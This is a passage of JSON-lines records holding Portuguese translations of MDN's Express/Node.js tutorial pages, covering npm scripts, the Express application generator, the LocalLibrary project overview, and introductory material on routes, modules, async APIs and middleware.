dentro do diretório do nosso app. Incluindo o comando, criamos o comando de atalho - `lint`.\n\n\n```bash\nnpm run-script lint\n# OR (using the alias)\nnpm run lint\n```\n\n\nO exemplo pode não parecer mais curto do que o comando original, mas com o que você aprendeu é possível incluir comandos bem maiores dentro do npm scripts, como as cadeias de múltiplos comandos. Você pode até escrever um único script npm para rodar todos os seus testes de uma só vez.\n\nInstalando o Express Application Generator\n------------------------------------------\n\nO Express Application Generator é uma ferramenta que cria \"esqueleto\" para aplicações Express. A instalação é realizada via NPM como mostrada a seguir (o comando `-g` instala a pacote globalmente, ou seja, você pode acessá-lo de qualquer lugar do seu computador).\n```\n\nnpm install express-generator -g\n```\n\n\nPara criar um aplicativo Express chamado \"helloworld\" com as configurações padrões, vá até o local/pasta em que você deseja desenvolver o projeto e escreva a seguinte linha de comando:\n\n\n```bash\nexpress helloworld\n```\n\n\n**Nota:** Nota: Você também pode definir a biblioteca de template que pretende usar e muitas outras configurações. Use o comando `help` para ver todas as opções.\n\n\n```bash\nexpress --help\n```\n\n\nO NPM vai criar um novo aplicativo Express em uma subpasta na localização em que você está. O progresso será apresentado no console. Para finalizar, o processo, a ferramenta mostrará os comandos que você precisa seguir para instalar a dependência Node e iniciar o seu app.\n\n**Nota:** O novo app terá um arquivo package.json no diretório raiz. Você pode abrir esse arquivo para checar o que foi instalado, incluindo o Express e Jade (template library) .\n\n\n```js\n{\n  \"name\": \"helloworld\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"start\": \"node ./bin/www\"\n  },\n  \"dependencies\": {\n    \"body-parser\": \"~1.18.2\",\n    \"cookie-parser\": \"~1.4.3\",\n    \"debug\": \"~2.6.9\",\n    \"express\": \"~4.15.5\",\n    \"jade\": \"~1.11.0\",\n    \"morgan\": \"~1.9.0\",\n    \"serve-favicon\": \"~2.4.5\"\n  }\n}\n```\n\n\nInstale todas as dependências para o app helloworld com o NPM, de acordo com os comandos abaixo:\n\n\n```bash\ncd helloworld\nnpm install\n```\n\n\nAgora, rode o aplicativo (o comando muda um pouco entre Windows, Linux/macOS), como está no código a seguir:\n\n\n```bash\n# Rode o helloworld no Windows\nSET DEBUG=helloworld:* & npm start\n\n# Rode helloworld no Linux/macOS\nDEBUG=helloworld:* npm start\n```\n\n\nO comando DEBUG gera um loggin bem útil, apresentando resultados, como abaixo:\n\n\n```bash\n>SET DEBUG=helloworld:* & npm start\n\n> helloworld@0.0.0 start D:\\Github\\expresstests\\helloworld\n> node ./bin/www\n\n  helloworld:server Listening on port 3000 +0ms\n```\n\n\nAbre um browser e navegue para `http://127.0.0.1:3000/` e veja a página default apresentada pelo aplicativo.\n\n![Express - Generated App Default Screen](/pt-BR/docs/Learn/Server-side/Express_Nodejs/development_environment/express_default_screen.png)\n\nVamos falar mais sobre o \"gerador\" quando chegarmos ao artigo referente à geração de esqueletos de uma aplicação.\n\nSumário\n-------\n\nAgora você tem o desenvolvimento do Node pronto para rodar no seu computador e que pode ser utilizado para criar aplicações web com o framework Express. Você também viu como o NPM é utilizado para importar o Express em sua aplicação e como criar um esqueleto a partir do Express Aplication Generator.\n\nNo próximo artigo, nós vamos iniciar um tutorial para construir uma aplicação web completa utilizando esse ambiente junto com as ferramentas.\n\nVeja também\n-----------\n\n* Downloads página (nodejs.org)\n* Installing Node.js via package manager (nodejs.org)\n* Installing Express (expressjs.com)\n* Express Application Generator (expressjs.com)\n* Anterior\n* Menu: Express Nodejs\n* Próxima\nOutros módulos\n--------------\n\n* Express/Node introduction\n* Setting up a Node (Express) development environment\n* Express Tutorial: The Local Library website\n* Express Tutorial Part 2: Creating a skeleton website\n* Express Tutorial Part 3: Using a Database (with Mongoose)\n* Express Tutorial Part 4: Routes and controllers (en-US)\n* Express Tutorial Part 5: Displaying library data (en-US)\n* Express Tutorial Part 6: Working with forms (en-US)\n* Express Tutorial Part 7: Deploying to production (en-US)"}
{"title":"Express: Tutorial para criar o site de uma Biblioteca Local - Aprendendo desenvolvimento web","text":"Express: Tutorial para criar o site de uma Biblioteca Local\n===========================================================\n\n* Anterior\n* Menu: Express Nodejs\n* Próxima\n\nEste artigo tem como objetivo explicar o que você vai aprender ao longo dos próximo tutoriais e dar uma visão geral do projeto que vamos desenvolver: um site de \"local library\" (Biblioteca Local, em tradução livre).\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Leia a\n Indrodução ao Express. Para os próximos artigos, você também precisa ler\n Conhecendo Node como ambiente de desenvolvimento.\n  |\n| Objetivos: | \n Apresentar a aplicação que será desenvolvida ao longo deste tutorial e\n permitir aos leitores entender quais tópicos serão abordados.\n  |\n\nVisão Geral\n-----------\n\nBem-vindo ao tutorial MDN \"Express: Tutorial para criar o site de uma Biblioteca Local\", no qual vamos desenvolver um website para gerenciar o catálogo de uma biblioteca.\n\nNeste passo a passo você vai:\n\n* Usar a ferramenta *Express Aplication Generator (Gerador de Aplicações Express)* para criar a estrutura do site e da aplicação.\n* Iniciar e encerrar o Web Server do Node.\n* Usar um banco de dados para armazenar os dados de sua aplicação.\n* Criar caminhos para a requisição de diferentes informações e templates (\"views\") para renderizar os dados em arquivos HTML no browser.\n* Trabalhar com formulários.\n* Subir sua aplicação para o ambiente de produção (deploy).\n\nAlguns dos itens acima você já conhecebe bem, outros você sabe apenas um pouco. Não se preocupe. Ao final do tutorial, você saberá o sucifiente para desenvolver, por conta própria, um simples app Express.\n\nO site da Biblioteca Local\n--------------------------\n\n*LocalLibrary* ou Biblioteca Local é o nome do website que vamos criar durante os tutoriais. O objetivo do site é prover um catálogo para uma pequena biblioteca, onde usuários podem pesquisar livros disponíveis e gerenciar suas contas.\n\nEsse exemplo foi escolhido cuidadosamente. Isso porque para construir a \"biblioteca\" vamos utilizar recursos básicos e fundamentais do Express, além de funcionalidades e conceitos que você poderá aplicar em qualquer outro website:\n\n* Em nossos primeiros artigos vamos criar uma biblioteca virtual na qual os usuários poderão procurar quais livros estão disponíveis para empréstimo. Tal funcionalidade nos exigirá entender operações padrões em sites web, como leituras e visualizações de conteúdos registrados em banco de dados.\n* Durante nosso trabalho, o exemplo da biblioteca se estenderá naturalmente para mais funcionalidades e informações disponíveis na biblioteca. Por exemplo: permitir que novos livros sejam adicionados aos catálogos. Somente essa *feature* nos permitirá aprender sobre o uso de formulários e autenticação de usuários.\n\nApesar de ser um exemplo bem extenso, nossa Biblioteca Local apresentará o mínimo de informações para ajudar você a entender e se desenvolver melhor no uso do Express. A aplicação terá informações sobre livros, cópias de livros, autores e outras informações-chave. Nós não vamos, no entanto, armazenar informações sobre outros itens que a biblioteca pode emprestar e nem vamos oferecer a infraestrutura necessária para suportar os serviços de uma biblioteca grande (de verdade).\n\nEstou perdido, onde encontro o código-fonte?\n--------------------------------------------\n\nCom o avanço nos tutoriais, forneceremos trechos de códigos para você copiar e colar. Você também receberá trechos apenas com códigos iniciais para completá-los e aprimorá-los por conta própria.\n\nDica: Em vez de simplesmente copiar e colar todos os códigos, a sugestão é digitá-los. Isso ajuda você a se familiarizar com a sintaxe, melhorando o nível de aprendizado.\n\nSe ficar perdido no meio do caminho, fique calmo. Você pode acessar o código inteiro pelo Github.\n\n**Nota:** As versões específicas do Node, Express e outros módulos que adotados no tutorial estão listados no arquivo package.json.\n\nSumário\n-------\n\nAgora que você entedeu o que é o site \"Biblioteca Local \" e o que vamos aprender ao longo do projeto, é hora de criar nossa estrutura de pastas e arquivos.\n\n* Anterior\n* Menu: Express Nodejs\n* Próxima"}
{"title":"Introdução Express/Node - Aprendendo desenvolvimento web","text":"Introdução Express/Node\n=======================\n\n* Menu: Express Nodejs\n* Próxima\n\nNeste primeiro artigo sobre Express responderemos as questões \" O que é Node?\" e \"O que é Express?\", além de dar a você uma visão geral sobre o que torna o Express um framework web tão especial. Vamos descrever as principais características e mostrar alguns dos principais blocos de códigos de construção de um aplicativo Express (embora neste momento você ainda não tenha um ambiente de desenvolvimento para testá-lo).\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em informática. Uma compreensão geral de\n programação web no lado servidor (backend), em particular, nos mecanismos de\n interação cliente-servidor de websites.\n  |\n| Objetivos: | \n Familiarizar-se com Express, como este framework trabalha junto ao Node,\n quais as funcionalidades que fornece e quais são os principais blocos de\n construção de um aplicativo Express.\n  |\n\nO que é Express e Node ?\n------------------------\n\nNode (ou formalmente *Node.js*) é um ambiente em tempo de execução open-source (código aberto) e multiplataforma que permite aos desenvolvedores criarem todo tipo de aplicativos e ferramentas do lado servidor (backend) em JavaScript. Node é usado fora do contexto de um navegador (ou seja executado diretamente no computador ou no servidor). Como tal, o ambiente omite APIs JavaScript específicas do navegador e adiciona suporte para APIs de sistema operacional mais tradicionais, incluindo bibliotecas de sistemas HTTP e arquivos.\n\nDo ponto de vista do desenvolvimento de um servidor web, o Node possui vários benefícios:\n\n* Performance excelente. Node foi projetado para otimizar a taxa de transferência e a escalabilidade em aplicações web. É uma ótima combinação para resolver muitos problemas comuns no desenvolvimento da web (por exemplo, aplicações em tempo real).\n* O código é escrito em \"JavaScript simples e antigo\". Isso significa menos tempo gasto para lidar com mudanças de código entre navegador e servidor web, não sendo necessária uma mudança na linguagem.\n* JavaScript é uma linguagem de programação relativamente nova e apresenta algumas vantagens quando comparadas a outras linguagens tradicionais de servidor (por exemplo Python, PHP, etc.). Muitas outras linguagens novas e populares compilam/convertem em JavaScript, permitindo que você também use essas linguagens, como TypeScript, CoffeeScript, ClosureScript, Scala, LiveScript, etc.\n* O Gerenciador de Pacotes do Node (NPM, na sigla em inglês) provê acesso a centenas de milhares de pacotes reutiliváveis. NPM possui a melhor coleção de dependências e também pode ser usado para automatizar a maior parte da cadeia de ferramentas de compilação.\n* É portátil, com versões para diferentes sistemas operacionais, como Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS e NonStop. Além disso, tem excelente suporte de muitos provedores de hospedagem na web, que muitas vezes fornecem documentação e infraestrutura específica para hospedar sites desenvolvidos em Node.\n* Possui uma comunidade de desenvolvedores e um ecossistema muito ativo, com muitas pessoas dispostas a ajudar.\n\nVocê pode utilizar o Node.js para criar um simples servidor web, utilizando o pacote Node HTTP.\n\n### Olá, Node.js\n\nO exemplo a seguir cria um servidor web que escuta qualquer tipo de requisição HTTP na URL `http://127.0.0.1:8000/` — quando uma requisição é recebida, o script vai responder com a string (texto) \"Olá Mundo\". Se você já instalou o Node, você pode seguir os passos seguintes deste exemplo.\n\n1. Abre o Terminal (no Windows, abra o prompt da linha de comando)\n2. Crie uma pasta onde você quer salvar o programa, por exemplo, `test-node`. Então, entre na pasta com o seguinte comando no terminal:\n```\n\ncd test-node\n```\n\n\nUse o seu editor de texto preferido, crie um arquivo chamado `hello.js` e cole o código a seguir:\n\n\n```js\n// Carrega o modulo HTTP do Node\nvar http = require(\"http\");\n\n// Cria um servidor HTTP e uma escuta de requisições para a porta 8000\nhttp\n  .createServer(function (request, response) {\n    // Configura o cabeçalho da resposta com um status HTTP e um Tipo de Conteúdo\n    response.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\n    // Manda o corpo da resposta \"Olá Mundo\"\n    response.end(\"Olá Mundo\\n\");\n  })\n  .listen(8000, \"127.0.0.1\");\n\n// Imprime no console a URL de acesso ao servidor\nconsole.log(\"Servidor executando em http://127.0.0.1:8000/\");\n```\n\n\nSalve o arquivo na pasta que você criou acima.\n\nPor último, vá para o terminal e digite o comando a seguir:\n\n`node hello.js`\n\nEnfim, abra o browser e digite `http://localhost:8000`. Você verá o texto \"**Olá, Mundo**\", no canto superior esquerdo.\n\nWeb Frameworks\n--------------\n\nAlgumas tarefas comuns no desenvolvimento web não são suportadas diretamente pelo Node. Se você quiser que a sua aplicação possua diferentes verbos HTTP (por exemplo `GET`, `POST`, `DELETE`, etc), que gerencie requisições de diferentes URLs (\"rotas\"), apresente arquivos estáticos ou utilize templates para mostrar as respostas (response) de maneira dinâmica, você não terá muita praticidade usando apenas o Node. Você terá duas opções. Escrever o código por conta própria ou então evitar todo esse trabalho de reinventar a roda ao utilizar um framework.\n\nIntroduzindo o Express\n----------------------\n\nExpress é o framework Node mais popular e a biblioteca subjacente para uma série de outros frameworks do Node. O Express oferece soluções para:\n\n* Gerenciar requisições de diferentes verbos HTTP em diferentes URLs.\n* Integrar \"view engines\" para inserir dados nos templates.\n* Definir as configurações comuns da aplicação web, como a porta a ser usada para conexão e a localização dos modelos que são usados para renderizar a resposta.\n* Adicionar novos processos de requisição por meio de \"middleware\" em qualquer ponto da \"fila\" de requisições.\n\nO *Express* é bastante minimalista, no entanto, os desenvolvedores têm liberdade para criar pacotes de middleware específicos com o objetivo de resolver problemas específicos que surgem no desenvolvimento de uma aplicação. Há bibliotecas para trabalhar com cookies, sessões, login de usuários, parâmetros de URL, dados em requisições POST, cabeçalho de segurança e tantos outros. Você pode achar uma lista de pacotes de middleware mantidos pela equipe Express em Express Middleware (juntamente com uma lista de pacotes populares desenvolvidos por terceiros).\n\n**Nota:** Essa flexibilidade do Express é uma espada de dois gumes. Há pacotes de middleware para resolver quase qualquer problema ou requisito ao longo do desenvolvimento, mas utilizar os pacotes corretos para cada situação às vezes se torna um grande desafio. Não há \"caminho certo\" para estruturar um aplicativo. Muitos exemplos que você encontra na Internet não são bons ou mostram apenas uma pequena parte do que você precisa fazer para desenvolver uma aplicação web.\n\nDe onde o Node e o Express vieram?\n----------------------------------\n\nNode foi inicialmente lançado em 2009, mas naquela época apenas para Linux. O gerenciador de pacotes NPM veio no ano seguinte, 2010, e o suporte nativo do Windows chegou em 2012. A versão atual do Long Term Support (LTS) é o Node v8.9.3, enquanto a versão mais recente é o Node 9. Esse é um resumo da rica histórica do Node, mas é possível conhecer mais na Wikipédia.\n\nO Express foi lançado em novembro de 2010 e atualmente está na versão 4.16 da API. Você pode verificar o changelog para obter informações sobre as mudanças na versão atual e o GitHub para obter notas detalhadas das versões históricas.\n\nO quão popular é Node/Express ?\n-------------------------------\n\nÉ importante considerar a popularidade de um framework web porque indica se a ferramenta continuará sendo mantida e atualizada, além de apontar quais recursos provavelmente estarão disponíveis na documentação, nas bibliotecas de complemento e no suporte técnico.\n\nNão há nenhum número capaz de medir precisamente a popularidade de um framework (apesar de que alguns sites como o Hot Frameworks avaliarem a popularidade a partir do número de projetos do GitHub e do número de perguntas do StackOverflow relativas a cada tecnologia). Diante dessa limitação, o mais importante é fazermos algumas outras perguntas para saber se o Node e o Express são \"suficientemente populares\" para não caírem nos problemas clássicos das tecnologias com pouca adesão da comunidade.\n\nO Node e o Express continuam a evoluir ? Você pode obter ajuda na comunidade caso precise? Existe uma oportunidade para você receber trabalho remunerado ao dominar o Node e o Express ?\n\nBaseado no número de empresas de alto perfil que usam Express, no número de pessoas contribuindo para o código base, e no número de pessoas que oferecem suporte (gratuito ou pago), a reposta é sim. O Node e o Express são tecnologias populares!\n\nExpress é opinativo ?\n---------------------\n\nOs frameworks web costumam se autodeclararem \"opinativos\" ou \"não opinativos\".\n\nOs frameworks opinativos são aqueles com \"opiniões\" sobre o \"caminho certo\" para lidar com qualquer tarefa específica. Muitas vezes, apoiam o desenvolvimento rápido em um domínio particular (resolvendo problemas de um tipo específico) porque a maneira correta de fazer qualquer coisa geralmente é bem compreendida e bem documentada. No entanto, são menos flexíveis na resolução de problemas fora de seu domínio principal e tendem a oferecer menos opções para quais componentes e abordagens podem usar nesses casos.\n\nFrameworks não opinativos, por outro lado, têm muito menos restrições sobre a melhor maneira de utilizar componentes para atingir um objetivo, ou mesmo quais componentes devem ser usados. Eles tornam mais fácil para os desenvolvedores usar as ferramentas mais adequadas para completar uma tarefa específica, embora você precise encontrar esses componentes por si próprio.\n\nExpress é um framework não opinativo. Você pode inserir qualquer middleware que você goste no manuseio das solicitações em quase qualquer ordem que desejar. Pode estruturar o aplicativo em um arquivo ou em vários, usar qualquer estrutura de pastas dentro do diretório principal, etc.\n\nComo se parece o código do Express ?\n------------------------------------\n\nEm um site tradicional baseado em dados, um aplicativo da Web aguarda pedidos HTTP do navegador da web (ou outro cliente). Quando um pedido é recebido, o aplicativo descreve quais ações são necessárias com base no padrão de URL e possivelmente informações associadas contidas em dados POST ou GET. Dependendo do que é necessário, pode-se ler ou escrever informações em um banco de dados ou executar outras tarefas necessárias para satisfazer a solicitação. O aplicativo retornará uma resposta ao navegador da Web, criando, de forma dinâmica, uma página HTML para o navegador, exibindo e inserindo os dados recuperados em espaços reservados em um modelo HTML.\n\nExpress fornece métodos para especificar qual função é chamada quando chega requisição HTTP (GET, POST, SET, etc.) e de rotas e métodos para especificar o mecanismo de modelo (\"view\") usado, onde o modelo arquivos estão localizados e qual modelo usar para renderizar uma resposta. Você pode usar o middleware Express para adicionar suporte para cookies, sessões e usuários, obtendo parâmetros POST / GET, etc. Você pode usar qualquer mecanismo de banco de dados suportado por Node (o Express não define nenhum comportamento relacionado a banco de dados).\n\nAs seções a seguir explicam algumas das coisas comuns que você verá ao trabalhar com o código Express e Node.\n\n### Olá Mundo Express\n\nPrimeiro, considere o padrão do exemplo do Express Olá Mundo (discutiremos cada trecho do código nas seções abaixo e nas seções a seguir).\n\n**Nota:** **Dica:** Se você tiver o Node e o Express já instalados (ou se você os instalar como mostrado no próximo artigo, você pode salvar este código em um arquivo chamado **app.js** e executá-lo em um prompt, ao digitar o comando `node app.js`.\n\n\n```js\nvar express = require(\"express\");\nvar app = express();\n\napp.get(\"/\", function (req, res) {\n  res.send(\"Olá Mundo!\");\n});\n\napp.listen(3000, function () {\n  console.log(\"App de Exemplo escutando na porta 3000!\");\n});\n```\n\n\nAs duas primeiras linhas `require()` importam o módulo Express e criam uma aplicação Express. Esse objeto (tradicionalmente nomeado de `app`), tem métodos de roteamento de requisições HTTP, configurações de middleware, renderização de views HTML, registro de engines de templates e modificação das configurações que controlam como o aplicativo se comporta (por exemplo, o modo de ambiente, se as definições de rota são sensíveis a maiúsculas e minúsculas, etc).\n\nA parte do meio do código (as três linhas que começam com `app.get`) mostra uma definição de rota. O método `app.get()` especifica uma função de retorno de chamada que será invocada sempre que exista uma solicitação HTTP `GET` com um caminho (`'/'`) relativo à raiz do site. A função de retorno de chamada requer uma solicitação e um objeto de resposta como argumentos, e simplesmente chama `send()` na resposta para retornar a string \"Olá Mundo!\"\n\nO bloco final inicia o servidor na porta '3000' e imprime um comentário de log no console. Com o servidor em execução, você pode acessar o `localhost:3000` em seu navegador para ver o exemplo de resposta retornado.\n\n### Importando e criando módulos\n\nUm módulo é uma biblioteca/arquivo de JavaScript que você pode importar para outro código usando a função `require()` do Node. Express por si é um módulo, assim como as bibliotecas de middleware e banco de dados que usamos em nossos aplicativos Express.\n\nO código abaixo mostra como importamos um módulo por nome, usando o quadro Express como um exemplo. Primeiro invocamos a função `require()`, especificando o nome do módulo como uma string (`'express'`), e chamando o objeto retornado para criar um aplicativo Express. Podemos então acessar as propriedades e funções do objeto da aplicação.\n\n\n```js\nvar express = require(\"express\");\nvar app = express();\n```\n\n\nVocê também pode criar seus próprios módulos para serem importados da mesma maneira.\n\n**Nota:** **Dica:** Você vai ***querer*** criar seus próprios módulos porque isso permite que você organize seu código em peças gerenciáveis - um aplicativo monolítico (de arquivo único) é difícil de entender e manter. O uso de módulos também ajuda você a gerenciar o namespace, pois somente as variáveis que você exporta explicitamente são importadas quando você usa um módulo.\n\nPara tornar os objetos disponíveis fora do módulo, você precisa apenas atribuí-los ao objeto `exports`. Por Exemplo, o módulo **square.js** abaixo é um arquivo que exporta os métodos `area()` e `perimeter()`:\n\n\n```js\nexports.area = function (width) {\n  return width \\* width;\n};\nexports.perimeter = function (width) {\n  return 4 \\* width;\n};\n```\n\n\nNós podemos importar este módulo usando `require()`. Depois, conecte ao(s) método(s) exportado(s) como mostrado a seguir:\n\n\n```js\nvar square = require(\"./square\"); // Chamamos o arquivo utilizando o require()\nconsole.log(\"The area of a square with a width of 4 is \" + square.area(4));\n```\n\n\n**Nota:** Você também pode especificar um caminho absoluto para o módulo (ou um nome, como fizemos inicialmente).\n\nSe você deseja exportar um objeto completo em uma atribuição, em vez de criar uma propriedade de cada vez, atribua ao module.exports como mostrado abaixo (você também pode fazer isso para tornar a raiz do objeto exporter um construtor ou outra função):\n\n\n```js\nmodule.exports = {\n  area: function (width) {\n    return width \\* width;\n  },\n\n  perimeter: function (width) {\n    return 4 \\* width;\n  },\n};\n```\n\n\nPara muitas outras informações sobre módulos veja Módulos (Node API docs).\n\n### Usando APIs assíncronas\n\nO código JavaScript frequentemente usa APIs assíncronas em vez de síncronas para operações que podem levar algum tempo para serem concluídas. Uma API síncrona é aquela em que cada operação deve ser concluída antes que a próxima operação seja iniciada. Por exemplo, as seguintes funções de log são síncronas e imprimirão o texto no console em ordem (Primeiro, Segundo).\n\n\n```js\nconsole.log(\"Primeiro\");\nconsole.log(\"Segundo\");\n```\n\n\nEm contrapartida, uma API assíncrona é aquela em que a API iniciará uma operação e retornará imediatamente (antes da conclusão da operação). Assim que a operação terminar, a API usará algum mecanismo para executar operações adicionais. Por exemplo, o código abaixo imprimirá \"Segundo, Primeiro\". Isso porque, mesmo que o método `setTimeout()` seja chamado primeiro e retornae imediatamente, a operação precisa de três segundos para finalizar.\n\n\n```js\nsetTimeout(function () {\n  console.log(\"Primeiro\");\n}, 3000);\nconsole.log(\"Segundo\");\n```\n\n\nO uso de APIs assíncronas não bloqueadoras é ainda mais importante no Node do que no navegador, pois o Node é um ambiente de execução orientado por evento único (single threaded). \"Single threaded\" significa que todos os pedidos para o servidor são executados no mesmo tópico (em vez de serem gerados em processos separados). Esse modelo é extremamente eficiente em termos de velocidade e recursos do servidor, mas isso significa que, se qualquer uma das suas funções chamar métodos síncronos que demoram muito para completar, eles bloquearão não apenas a solicitação atual, mas todas as outras solicitações serão tratadas por sua aplicação web.\n\nHá várias maneiras de uma API assíncrona notificar para a aplicação que alguma função chegou ao fim. A maneira mais comum é registrar uma função de retorno de chamada quando você invoca a API assíncrona, que será chamada de volta quando a operação for concluída. Usamos essa abordagem acima.\n\n**Nota:** **Dica:** O uso de callbacks pode ser bastante \"bagunçado\" se você tiver uma sequência de operações assíncronas dependentes que devem ser executadas em ordem, porque isto resulta em multiplo níveis de callbacks aninhados. Este problema é comumente conhecido como \"inferno de callback\" ou \"código hadouken\". Pode-se reduzir o problema ao adotar boas práticas de programação (veja http://callbackhell.com/), utilizar um módulo como async, ou mesmo adotar recursos do ES6, como Promises.\n\n**Nota:** **Dica:** Uma convenção comum para Node e Express é usar as devoluções de retorno de erro. Nesta convenção, o primeiro valor em suas funções de retorno de chamada é um valor de erro, enquanto os argumentos subseqüentes contêm dados de sucesso. Há uma boa explicação de por que essa abordagem é útil neste blog: The Node.js Way - Understanding Error-First Callbacks (fredkschott.com).\n\n### Criando manipuladores de rotas\n\nNo nosso *Olá Mundo* em Express (veja acima), nós definimos uma (callback) função manipuladora de rota para requisição `GET` HTTP para a raiz do site (`'/'`).\n\n\n```js\napp.get(\"/\", function (req, res) {\n  res.send(\"Olá Mundo\");\n});\n```\n\n\nA função de retorno de chamada requer uma solicitação e um objeto de resposta como argumento. Neste caso, o método simplesmente chama `send()` na resposta para retornar a string \"Olá Mundo!\" Há uma série de outros métodos de resposta para encerrar o ciclo de solicitação / resposta, por exemplo, você poderia chamar `res.json()` para enviar uma resposta JSON ou `res.sendFile()` para enviar um arquivo.\n\n**Nota:** **Dica JavaScript:** Você pode usar qualquer argumento que você gosta nas funções de retorno de chamada. Quando o retorno de chamada é invocado, o primeiro argumento sempre será o pedido e o segundo sempre será a resposta. Faz sentido nomeá-los de tal forma que você possa identificar o objeto que você está trabalhando no corpo do retorno de chamada.\n\nO Express também fornece métodos para definir manipuladores de rotas para todas as outras requisições HTTP, que são usadas exatamente da mesma maneira: `post()`, `put()`, `delete()`, `options()`, `trace()`, `copy()`, `lock()`, `mkcol()`, `move()`, `purge()`, `propfind()`, `proppatch()`, `unlock()`, `report()`, `mkactivity()`, `checkout()`, `merge()`, `m-search()`, `notify()`, `subscribe()`, `unsubscribe()`, `patch()`, `search()`, e `connect()`.\n\nHá um método de roteamento especial, `app.all()`, que será chamado em resposta a qualquer método HTTP. É usado para carregar funções de middleware em um caminho específico para todos os métodos de solicitação. O exemplo a seguir (da documentação Express) mostra um manipulador que será executado para solicitações `/secret`, independentemente do verbo HTTP usado (desde que seja suportado pelo módulo http).\n\n\n```js\napp.all(\"/secret\", function (req, res, next) {\n  console.log(\"Acessando a sessão secreta...\");\n  next(); // passa o controle para o próximo manipulador\n});\n```\n\n\nAs rotas permitem combinar padrões de caracteres específicos em um URL e extrair alguns valores do URL e passá-los como parâmetros para o manipulador de rotas (como atributos do objeto de solicitação passado como parâmetro).\n\nMuitas vezes, é útil agrupar manipuladores de rotas para uma determinada parte de um site e acessá-los usando um prefixo de rota comum (por exemplo, um site com um Wiki pode ter todas as rotas relacionadas ao wiki em um arquivo e tê-los acessado com um prefixo de rota de / wiki /). Em Express, isso é alcançado usando o objeto `express.Router`. Por exemplo, podemos criar nossa rota wiki em um módulo chamado wiki.js e, em seguida, exportar o objeto `Router`, conforme mostrado abaixo:\n\n\n```js\n// wiki.js - Rotas de Wiki\n\nvar express = require(\"express\");\nvar router = express.Router();\n\n// Home page route\nrouter.get(\"/\", function (req, res) {\n  res.send(\"Wiki home page\");\n});\n\n// About page route\nrouter.get(\"/about\", function (req, res) {\n  res.send(\"About this wiki\");\n});\n\nmodule.exports = router;\n```\n\n\n**Nota:** Adicionar rotas ao objeto `Router` é como adicionar rotas ao objeto `app` (como mostrado anteriormente).\n\nPara usar o roteador em nosso arquivo de aplicativo principal, então, `require()` o módulo de rota (**wiki.js**) e depois `use()` no aplicativo Express para adicionar o Router ao caminho de gerenciamento de middleware. As duas rotas serão acessíveis a partir de `/wiki/` e `/wiki/about/`.\n\n\n```js\nvar wiki = require(\"./wiki.js\");\n// ...\napp.use(\"/wiki\", wiki);\n```\n\n\nVamos mostrar-lhe muito mais sobre trabalhar com rotas e, em particular, sobre o uso do `Router`, mais tarde, na seção vinculada Rotas e controladores (en-US).\n\n### Usando middleware\n\nO Middleware é usado extensivamente em aplicativos Express para que as tarefas ofereçam arquivos estáticos ao tratamento de erros, a comprensão de respostas HTTP. Enquanto as funções de rota terminam o ciclo de solicitação-resposta HTTP, retornando alguma resposta ao cliente HTTP, as funções de middleware normalmente executam alguma operação na solicitação ou resposta e, em seguida, ligue para a próxima função na \"pilha\", que pode ser mais um middleware ou uma rota manipuladora. A ordem em que o middleware é chamado depende do desenvolvedor do aplicativo.\n\n**Nota:** O middleware pode executar qualquer operação, executar qualquer código, fazer alterações no objeto de solicitação e resposta, e também pode encerrar o ciclo de solicitação-resposta. Se não terminar o ciclo, ele deve chamar o `next()` para passar o controle para a próxima função de middleware (ou a solicitação ficará pendurada).\n\nA maioria dos aplicativos usará middleware de terceiros para simplificar tarefas comuns de desenvolvimento web, como trabalhar com cookies, sessões, autenticação de usuários, acessar dados `POST` e JSON, log, etc. Você pode encontrar uma lista de pacotes de middleware mantidos pela equipe Express (que também inclui outros pacotes populares de terceiros). Outros pacotes Express estão disponíveis no gerenciador de pacotes do NPM.\n\nPara usar middleware de terceiros, primeiro você precisa instalá-lo em seu aplicativo usando NPM. Por exemplo, para instalar o logger morgan HTTP, você faria isso:\n\n\n```bash\nnpm install morgan\n```\n\n\nVocê pode então chamar `use()` no objeto do aplicativo Express para adicionar o middleware à pilha:\n\n\n```js\nvar express = require('express');\nvar logger = require('morgan');\nvar app = express();\napp.use(logger('dev'));\n...\n```\n\n\n**Nota:** O middleware e as funções de roteamento são chamadas na ordem em que são declaradas. Para alguns middleware, a ordem é importante (por exemplo, se o middleware de sessão depende do middleware de cookies, então o manipulador de cookies deve ser adicionado primeiro). É quase sempre o caso em que o middleware é chamado antes de definir rotas, ou seus manipuladores de rotas não terão acesso à funcionalidade adicionada pelo seu middleware.\n\nVocê pode escrever suas próprias funções de middleware. É provável que você tenha que fazê-lo (somente para criar código de manipulação de erro). A única diferença entre uma função de middleware e um retorno de chamada de manipulador de rotas é que as funções de middleware têm um terceiro argumento `next`, que as funções de middleware devem chamar se não completam o ciclo de solicitação (quando a função de middleware é chamada, isso contém a próxima função que deve ser chamado).\n\nVocê pode adicionar uma função de middleware à cadeia de processamento com `app.use()` ou `app.add()`, dependendo se você deseja aplicar o middleware a todas as respostas ou a respostas com um verbo HTTP específico (`GET`, `POST`, etc. ). Você especifica rotas o mesmo em ambos os casos, embora a rota seja opcional ao chamar **app.use()**.\n\nO exemplo abaixo mostra como você pode adicionar a função middleware usando ambos os métodos e com/sem rota.\n\n\n```js\nvar express = require(\"express\");\nvar app = express();\n\n// Um exemplo de função middleware\nvar a\\_middleware\\_function = function (req, res, next) {\n  // ... Executa alguma operação\n  next(); // next() Chama o próximo middleware ou função de rotas\n};\n\n// Função adicionada com use() para todas rotas e requisições\napp.use(a_middleware_function);\n\n// Função adicionada com use() para uma rota específica\napp.use(\"/someroute\", a_middleware_function);\n\n// função middleware adicionado para uma rota e requisição específica\napp.get(\"/\", a_middleware_function);\n\napp.listen(3000);\n```\n\n\n**Nota:** **Dica JavaScript:** Acima, declaramos a função de middleware separadamente e, em seguida, configuramos como retorno de chamada. Na nossa função anterior do operador de rotas, declaramos a função de retorno de chamada quando foi utilizada. Em JavaScript, ambas abordagens são válidas.\n\nA documentação Express possui uma documentação excelente sobre como usar e escrever o middleware Express.\n\n### Servindo arquivos estáticos\n\nVocê pode usar o middleware express.static para servir arquivos estáticos, incluindo suas imagens, CSS e JavaScript (`static()` é a única função de middleware que é realmente parte do Express). Por exemplo, você usaria a linha abaixo para exibir imagens, arquivos CSS e arquivos JavaScript de um diretório chamado 'public' no mesmo nível onde você chama o 